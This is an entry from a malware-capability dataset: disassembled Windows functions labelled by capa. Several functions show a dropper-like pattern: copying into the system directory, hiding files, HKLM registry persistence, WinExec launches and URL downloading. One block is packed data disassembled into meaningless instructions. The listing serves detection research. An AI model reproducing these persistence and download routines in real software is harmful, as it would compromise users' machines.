joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1006f30f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x10093ec8]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1006f355
cmp word [ebx], dx
jne 0x1006f355
or byte [eax + edi + 0x28], 4
jmp 0x1006f35a
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x1006f4bd
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x1006f49d
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x1006f39b
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x1006f3d1
cmp eax, edx
jae 0x1006f3df
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x1006f376
jmp 0x1006f4bd
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1006f498
cmp dword [ebp - 0x18], 0
je 0x1006f498
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x10093ec8]
test byte [eax + edi + 0x28], 0x48
je 0x1006f46e
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x1006f432
mov word [esi], cx
jmp 0x1006f469
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x10093ec8]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x10093ec8]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x10093ec8]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x1006f4bd
pop eax
cmp word [ebp - 4], ax
jne 0x1006f47e
cmp esi, ebx
jne 0x1006f47e
mov word [esi], ax
jmp 0x1006f4ba
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.1006e950
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x1006f4bd
push 0xd
pop eax
jmp 0x1006f479
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x10093ec8]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x1006f4b7
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x1006f4bd
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10071ddc
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10071cb0

Function at 0x10073e80
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10073ead
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10073ead
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1007572f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
lea eax, [esi + 4]
push eax
xor eax, eax
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push eax
call fcn.10056f2b
add esp, 0x18
mov dword [esi], eax
xor ecx, ecx
test eax, eax
push 4
pop edx
cmove ecx, edx
mov eax, ecx
pop esi
pop ebp
ret
Function at 0x4937dd
Capabilities:
Encode data using xor

Disassembly:
cld
push ebp
in eax, dx
bound ebp, qword [eax - 0x462ea97f]
jbe 0x493813
dec ebx
dec eax
push ebp
test esi, ebp
dec esp
cwde
cmpsd dword [esi], dword es:[edi]
in eax, 0xc2
invalid
out dx, al
sub al, dl
inc edi
push esp
sbb dword [esi - 0x11], ebx
mov dword [edi + 0x2c], ebp
out dx, al
push ss
call 0x4c12c464
add bl, byte [ecx + 0x60]
sub dword [eax + 0x67], eax
sub ebp, esi
push ss
das
aas
daa
cmp eax, 0x32ac223c
movsb byte es:[edi], byte [esi]
dec esi
fld xword [edx - 0x1a]
or al, 0x50
add dword [ebp - 0x51e54c7], ebp
sti
pushal
mov ah, byte [ebp + 0x28da8dea]
stosb byte es:[edi], al
fst qword [ebp - 0x1ef29133]
sbb eax, 0x94276015
das
adc dword [ebp - 0x32f7653c], esi
xchg esi, eax
shr byte ss:[edx + 0x29], 0xae
fimul dword [edx - 0x35d798a0]
dec ecx
stosb byte es:[edi], al
in eax, dx
pushal
dec edx
mov al, byte [0x60510d1c]
scasd eax, dword es:[edi]
outsb dx, byte [esi]
adc esi, esi
mov ah, 0x13
das
call 0x298e6136
push 0x7c
stosb byte es:[edi], al
in eax, dx
push esp
loopne 0x4938e0
loopne 0x4938a8
mov cl, 0x7b
out dx, eax
lcall 0x2fba, 0x1a6d69fe
int3
test dword [0xb886afde], ebp
mov cl, 0x56
in eax, dx
and dword [esp + ecx*8 + 0xf], ebx
push cs
cwde
in al, dx
push cs
lodsb al, byte [esi]
xchg esi, eax
push 0x61ec71bb
or dword [esi], edi
mov esi, 0x3379bb9e
sub dh, 0xa9
push esp
aaa
xor eax, dword [eax + 0x3754a9ee]
sub al, 0x19
cmp eax, 0xbf29e9b0
js 0x4938c8
mov dword [edx - 0x15], ebx
stosb byte es:[edi], al
pop esp
cmp edi, edx
push 0xde3ee6a6
invalid
cmpsb byte [esi], byte es:[edi]
out 0x3e, al
invalid
Function at 0x469b3c
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff28
xor eax, eax
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x469d0d
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [0x470e18], eax
call sub.KERNEL32.DLL_GetTickCount
mov dword [0x470e24], 0x397fda6
mov eax, 3
call fcn.00402da8
add eax, 4
mov dword [0x470e30], eax
push 0xc9
lea eax, [ebp - 0xcd]
push eax
call sub.KERNEL32.DLL_GetWindowsDirectoryA
call sub.KERNEL32.DLL_GetTickCount
lea eax, [ebp - 4]
mov dl, byte [ebp - 0xcd]
call fcn.00404344
call sub.KERNEL32.DLL_GetTickCount
mov eax, 0x19f60829
call fcn.00402da8
add eax, 0x192a
mov dword [0x470e30], eax
mov dword [0x470e24], 0xb8ef20e
push dword [ebp - 4]
push 0x469d20
push dword [0x46f6d4]
push 0x469d3c
lea eax, [ebp - 4]
mov edx, 4
call fcn.004044dc
mov eax, dword [ebp - 4]
call fcn.0040880c
test al, al
je 0x469ce7
call sub.KERNEL32.DLL_GetTickCount
mov eax, dword [ebp - 4]
call fcn.004698b4
call sub.KERNEL32.DLL_GetTickCount
mov eax, 0xea
call fcn.00402da8
add eax, 0x14953bf6
mov dword [0x470e30], eax
cmp dword [0x470e18], 0
jle 0x469ce7
call sub.KERNEL32.DLL_GetTickCount
mov eax, dword [ebp - 4]
call fcn.0040441c
mov edx, eax
lea eax, [ebp - 4]
mov ecx, 1
call fcn.004046bc
call sub.KERNEL32.DLL_GetTickCount
push 0
push dword [0x46f6d0]
push 0x469d48
push dword [0x46f6d4]
push 0x469d60
lea eax, [ebp - 0xd4]
mov edx, 4
call fcn.004044dc
mov eax, dword [ebp - 0xd4]
call fcn.0040461c
push eax
call sub.KERNEL32.DLL_WinExec
call sub.KERNEL32.DLL_GetTickCount
mov eax, 0x159
call fcn.00402da8
add eax, 0x34b659
mov dword [0x470e30], eax
push 0
push dword [0x46f6d0]
push 0x469d48
push dword [0x46f6d4]
push 0x469d74
lea eax, [ebp - 0xd8]
mov edx, 4
call fcn.004044dc
mov eax, dword [ebp - 0xd8]
call fcn.0040461c
push eax
call sub.KERNEL32.DLL_WinExec
call sub.KERNEL32.DLL_GetTickCount
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x469d14
lea eax, [ebp - 0xd8]
mov edx, 2
call fcn.00404180
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x469d84
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
xor eax, eax
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x15c]
mov edx, dword [0x407368]
call fcn.00404ac8
xor eax, eax
push ebp
push 0x469ea8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x257]
xor ecx, ecx
mov edx, 0xfb
call fcn.00402d88
push 0xffffffffffffffff
push 8
lea eax, [ebp - 0x257]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
lea eax, [ebp - 4]
lea edx, [ebp - 0x257]
mov ecx, 0xfb
call fcn.004043cc
lea eax, [ebp - 4]
mov edx, 0x469ebc
call fcn.00404424
lea eax, [ebp - 0x25c]
mov ecx, 0x469ec8
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x25c]
lea ecx, [ebp - 0x15c]
mov edx, 0x3f
call fcn.00408894
test eax, eax
jne 0x469e66
lea eax, [ebp - 0x260]
mov ecx, dword [ebp - 0x150]
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x260]
call fcn.00408924
lea eax, [ebp - 0x15c]
call fcn.004088e4
mov dword [0x470e2c], 0x8bcb212c
test eax, eax
je 0x469e2e
lea eax, [ebp - 0x15c]
call fcn.00408908
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x469eaf
lea eax, [ebp - 0x260]
mov edx, 2
call fcn.00404180
lea eax, [ebp - 0x15c]
mov edx, dword [0x407368]
call fcn.00404b98
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x469ed0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa3c
push ebx
xor edx, edx
mov dword [ebp - 0x5c0], edx
mov dword [ebp - 0x5c4], edx
mov dword [ebp - 0x5bc], edx
mov dword [ebp - 0x5b8], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], edx
mov ebx, eax
lea eax, [ebp - 0x16c]
mov edx, dword [0x407368]
call fcn.00404ac8
xor eax, eax
push ebp
push 0x46a0f1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0040415c
lea edx, [ebp - 8]
mov eax, dword [0x46f784]
call fcn.004686c0
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
mov ecx, 0x46a100
call fcn.00405ac0
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 8]
mov ecx, 0x46a110
call fcn.00405ac0
push 0xffffffffffffffff
push 8
lea eax, [ebp - 0x267]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
lea eax, [ebp - 4]
lea edx, [ebp - 0x267]
mov ecx, 0xfb
call fcn.004043cc
lea eax, [ebp - 4]
mov edx, 0x46a128
call fcn.00404424
lea eax, [ebp - 0x5b8]
mov ecx, 0x46a134
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x5b8]
lea ecx, [ebp - 0x16c]
mov edx, 0x3f
call fcn.00408894
test eax, eax
jne 0x46a08f
lea eax, [ebp - 0x5bc]
mov ecx, dword [ebp - 0x160]
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x5bc]
lea edx, [ebp - 0x5b2]
mov ecx, 0x20a
call fcn.00404f34
push 0
lea eax, [ebp - 0x5b2]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [eax]
call dword [eax + 0x14]
push 2
lea eax, [ebp - 0x3a8]
push eax
push 0xfb
lea eax, [ebp - 0x267]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [eax]
call dword [eax + 0xc]
lea eax, [ebp - 0x14]
lea edx, [ebp - 0x267]
mov ecx, 0xfb
call fcn.004043cc
mov eax, dword [ebp - 0x14]
call fcn.004087fc
test al, al
je 0x46a07c
lea edx, [ebp - 0x5c4]
mov eax, dword [ebp - 0x14]
call fcn.00408a28
mov eax, dword [ebp - 0x5c4]
lea edx, [ebp - 0x5c0]
call fcn.00408014
mov eax, dword [ebp - 0x5c0]
mov edx, 0x46a144
call fcn.00404568
jne 0x46a07c
mov eax, ebx
mov edx, dword [ebp - 0x14]
call fcn.004041b0
lea eax, [ebp - 0x16c]
call fcn.00408908
jmp 0x46a09a
lea eax, [ebp - 0x16c]
call fcn.004088e4
test eax, eax
je 0x469fbb
lea eax, [ebp - 0x16c]
call fcn.00408908
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a0f8
lea eax, [ebp - 0x5c4]
mov edx, 4
call fcn.00404180
lea eax, [ebp - 0x16c]
mov edx, dword [0x407368]
call fcn.00404b98
lea eax, [ebp - 0x14]
call fcn.0040415c
lea eax, [ebp - 0x10]
call fcn.00405a7c
lea eax, [ebp - 0xc]
call fcn.00405a7c
lea eax, [ebp - 8]
call fcn.00405a7c
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46a14c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040460c
xor eax, eax
push ebp
push 0x46a1de
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.0040415c
mov eax, dword [ebp - 4]
call fcn.0040441c
mov ebx, eax
test ebx, ebx
jbe 0x46a1af
mov esi, 1
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
mov dl, byte [edx + esi - 1]
xor dl, 1
call fcn.00404344
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 8]
call fcn.00404424
inc esi
dec ebx
jne 0x46a18e
mov eax, edi
mov edx, dword [ebp - 8]
call fcn.004041b0
mov dword [0x470e2c], 0xd11
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a1e5
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404180
ret
Function at 0x46a1ec
Capabilities:
Check for time delay via gettickcount
Create process on windows
Delete file
Get common file path
Move file
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff14
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe0], eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x46a433
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
push 0xc8
lea eax, [ebp - 0xd6]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
lea eax, [ebp - 8]
lea edx, [ebp - 0xd6]
mov ecx, 0xc9
call fcn.004043cc
lea eax, [ebp - 8]
mov edx, dword [0x46f6a8]
call fcn.00404424
lea edx, [ebp - 0xe0]
xor eax, eax
call fcn.00402ad4
mov eax, dword [ebp - 0xe0]
lea edx, [ebp - 0xdc]
call fcn.00408014
mov eax, dword [ebp - 0xdc]
push eax
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 8]
call fcn.00408014
mov edx, dword [ebp - 0xe4]
pop eax
call fcn.00404568
je 0x46a40d
mov byte [ebp - 1], 1
mov eax, dword [ebp - 8]
call fcn.004087fc
test al, al
jne 0x46a40d
push 0x40
lea edx, [ebp - 0xe8]
xor eax, eax
call fcn.00402ad4
mov ecx, dword [ebp - 0xe8]
mov dl, 1
mov eax, dword [0x415468]
call fcn.004192a8
mov ebx, eax
push 0xffff
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x415468]
call fcn.004192a8
mov esi, eax
push 0
push 0
mov eax, ebx
call fcn.00418e14
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
sub eax, 1
sbb edx, 0
push edx
push eax
mov edx, ebx
mov eax, esi
call fcn.00419090
call fcn.00402b34
mov eax, 0xc8
call fcn.00402da8
add al, 0xa
mov byte [ebp - 0xd], al
lea edx, [ebp - 0xd]
mov ecx, 1
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0x10]
mov eax, ebx
call fcn.00403390
mov eax, esi
call fcn.00403390
call sub.KERNEL32.DLL_GetTickCount
mov dword [0x470e2c], 0x8bcb20d2
push 7
mov eax, dword [ebp - 8]
call fcn.0040461c
mov ebx, eax
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
call sub.KERNEL32.DLL_GetTickCount
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [0x46f6b4]
call fcn.0040461c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
mov eax, dword [0x46f6ac]
call fcn.0040441c
mov esi, eax
push esi
mov eax, dword [0x46f6ac]
call fcn.0040461c
push eax
push 1
push 0
push 0x46a444
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
push 4
push 0
lea edx, [ebp - 0xec]
xor eax, eax
call fcn.00402ad4
mov eax, dword [ebp - 0xec]
call fcn.0040461c
push eax
call sub.KERNEL32.DLL_MoveFileExA
call sub.KERNEL32.DLL_GetTickCount
mov dword [0x470e2c], 0xb50a
cmp dword [0x470e18], 0
jle 0x46a405
push 0
push 0x46a450
call sub.KERNEL32.DLL_WinExec
jmp 0x46a40d
push 0
push ebx
call sub.KERNEL32.DLL_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a43a
lea eax, [ebp - 0xec]
mov edx, 5
call fcn.00404180
lea eax, [ebp - 8]
call fcn.0040415c
ret
Function at 0x46a464
Capabilities:
Create process on windows
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdc8
xor eax, eax
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x15c]
mov edx, dword [0x407368]
call fcn.00404ac8
xor eax, eax
push ebp
push 0x46a5cc
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
push 0
lea edx, [ebp - 0x22c]
xor eax, eax
call fcn.00402ad4
mov eax, dword [ebp - 0x22c]
call fcn.0040461c
push eax
call sub.KERNEL32.DLL_MoveFileExA
push 0xc8
lea eax, [ebp - 0x225]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
lea eax, [ebp - 4]
lea edx, [ebp - 0x225]
mov ecx, 0xc9
call fcn.004043cc
lea eax, [ebp - 4]
mov edx, 0x46a5e0
call fcn.00404424
lea eax, [ebp - 0x230]
mov ecx, 0x46a5ec
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x230]
lea ecx, [ebp - 0x15c]
mov edx, 0x3f
call fcn.00408894
lea eax, [ebp - 0x15c]
call fcn.004088e4
jmp 0x46a569
lea eax, [ebp - 0x238]
mov ecx, dword [ebp - 0x150]
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x238]
call fcn.0040461c
mov edx, eax
lea eax, [ebp - 0x234]
call fcn.00404354
mov eax, dword [ebp - 0x234]
call fcn.00408924
lea eax, [ebp - 0x15c]
call fcn.004088e4
test eax, eax
je 0x46a532
push 0
push 0x46a5f0
call sub.KERNEL32.DLL_WinExec
mov dword [0x470e2c], 4
mov byte [0x470c15], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a5d3
lea eax, [ebp - 0x238]
mov edx, 4
call fcn.00404180
lea eax, [ebp - 0x15c]
mov edx, dword [0x407368]
call fcn.00404b98
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46a604
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf0
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x46a7e8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.0040415c
lea eax, [ebp - 0x10]
call fcn.0040415c
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x46a7f4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
mov dword [ebp - 8], 0x400
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
push 0x46a824
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x46a68b
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
push 0x46a830
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x46a6cf
lea eax, [ebp - 0x10]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov edx, 0x46a844
call fcn.00404468
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x46a848
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
mov dword [ebp - 8], 0x400
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
push 0x46a824
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x46a72d
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
mov edx, dword [ebp - 0xc]
mov eax, 0x46a87c
call fcn.00404760
dec eax
jne 0x46a758
lea eax, [ebp - 0xc]
mov ecx, 0x12
mov edx, 1
call fcn.004046bc
mov edx, dword [ebp - 0xc]
mov eax, 0x46a898
call fcn.00404760
dec eax
jne 0x46a77a
lea eax, [ebp - 0xc]
mov ecx, 8
mov edx, 1
call fcn.004046bc
mov edx, dword [ebp - 0x10]
mov eax, 0x46a8ac
call fcn.00404760
dec eax
jne 0x46a7ac
lea eax, [ebp - 0x10]
mov ecx, 0xe
mov edx, 1
call fcn.004046bc
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov edx, 0x46a8c4
call fcn.00404468
cmp dword [ebp - 0xc], 0
je 0x46a7c1
mov eax, ebx
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call fcn.00404468
jmp 0x46a7cd
mov eax, ebx
mov edx, 0x46a8d0
call fcn.004041b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a7ef
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00404180
ret
Function at 0x46b09c
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x414], ecx
mov dword [ebp - 0x418], ecx
mov dword [ebp - 0xc], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040460c
xor eax, eax
push ebp
push 0x46b211
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.0040415c
push 0
push 0
push 0
push 0
mov eax, dword [0x46f694]
call fcn.0040461c
push eax
call sub.wininet.dll_InternetOpenA
mov ebx, eax
test ebx, ebx
je 0x46b187
push 0
push 0x80000000
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040461c
push eax
push ebx
call sub.wininet.dll_InternetOpenUrlA
mov esi, eax
test esi, esi
je 0x46b181
lea eax, [ebp - 8]
push eax
push 0x401
lea eax, [ebp - 0x40d]
push eax
push esi
call sub.wininet.dll_InternetReadFile
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x418]
lea edx, [ebp - 0x40d]
mov ecx, 0x401
call fcn.004043cc
mov eax, dword [ebp - 0x418]
mov ecx, dword [ebp - 8]
xor edx, edx
call fcn.0040467c
mov edx, dword [ebp - 0x414]
lea eax, [ebp - 0xc]
call fcn.00404424
cmp dword [ebp - 8], 0
jne 0x46b124
push esi
call sub.wininet.dll_InternetCloseHandle
push ebx
call sub.wininet.dll_InternetCloseHandle
lea eax, [ebp - 0x41c]
push eax
mov ecx, 3
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.0040467c
mov eax, dword [ebp - 0x41c]
mov edx, 0x46b228
call fcn.00404568
je 0x46b1c8
push 0x668a0
call sub.KERNEL32.DLL_Sleep
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0046b09c
jmp 0x46b1e3
push edi
mov eax, dword [ebp - 0xc]
call fcn.0040441c
mov ecx, eax
sub ecx, 6
mov edx, 4
mov eax, dword [ebp - 0xc]
call fcn.0040467c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46b218
lea eax, [ebp - 0x41c]
mov edx, 3
call fcn.00404180
lea eax, [ebp - 0xc]
call fcn.0040415c
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46b22c
Capabilities:
Download url
Receive data
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd8
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x424], eax
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x414], eax
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x40c], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x46b454
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov ecx, dword [0x46f69c]
mov edx, dword [0x470c60]
call fcn.00404468
push 0
mov eax, dword [ebp - 4]
call fcn.0040461c
mov esi, eax
push esi
call sub.KERNEL32.DLL__lopen
mov ebx, eax
cmp ebx, 0xffffffff
je 0x46b2f0
push 0x400
lea eax, [ebp - 0x405]
push eax
push ebx
call sub.KERNEL32.DLL__lread
mov esi, eax
push 0x470c5c
lea eax, [ebp - 0x40c]
lea edx, [ebp - 0x405]
mov ecx, 0x401
call fcn.004043cc
mov eax, dword [ebp - 0x40c]
mov ecx, esi
xor edx, edx
call fcn.0040467c
push ebx
call sub.KERNEL32.DLL__lclose
jmp 0x46b42e
push dword [0x46f698]
push 0x46b46c
call sub.KERNEL32.DLL_GetTickCount
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x41c]
call fcn.004083e0
mov eax, dword [ebp - 0x41c]
lea edx, [ebp - 0x418]
call fcn.0046afb8
push dword [ebp - 0x418]
lea eax, [ebp - 0x414]
mov edx, 3
call fcn.004044dc
mov eax, dword [ebp - 0x414]
lea edx, [ebp - 0x410]
call fcn.0046b09c
mov edx, dword [ebp - 0x410]
mov eax, 0x470c5c
call fcn.004041b0
push 0
push esi
call sub.KERNEL32.DLL__lcreat
mov ebx, eax
mov eax, dword [0x470c5c]
call fcn.0040441c
push eax
mov eax, 0x470c5c
call fcn.00404674
lea edx, [ebp - 0x405]
pop ecx
call fcn.004029a8
mov eax, dword [0x470c5c]
call fcn.0040441c
push eax
lea eax, [ebp - 0x405]
push eax
push ebx
call sub.KERNEL32.DLL__lwrite
push ebx
call sub.KERNEL32.DLL__lclose
mov dword [0x470e2c], 0x11c9
cmp byte [0x470c51], 0
je 0x46b42e
push 0
push 0
lea eax, [ebp - 0x420]
mov ecx, dword [0x46f6d8]
mov edx, dword [0x470c60]
call fcn.00404468
mov eax, dword [ebp - 0x420]
call fcn.0040461c
push eax
lea eax, [ebp - 0x424]
mov ecx, dword [0x46f6d8]
mov edx, dword [0x46f698]
call fcn.00404468
mov eax, dword [ebp - 0x424]
call fcn.0040461c
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
push 7
lea eax, [ebp - 0x428]
mov ecx, dword [0x46f6d8]
mov edx, dword [0x470c60]
call fcn.00404468
mov eax, dword [ebp - 0x428]
call fcn.0040461c
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
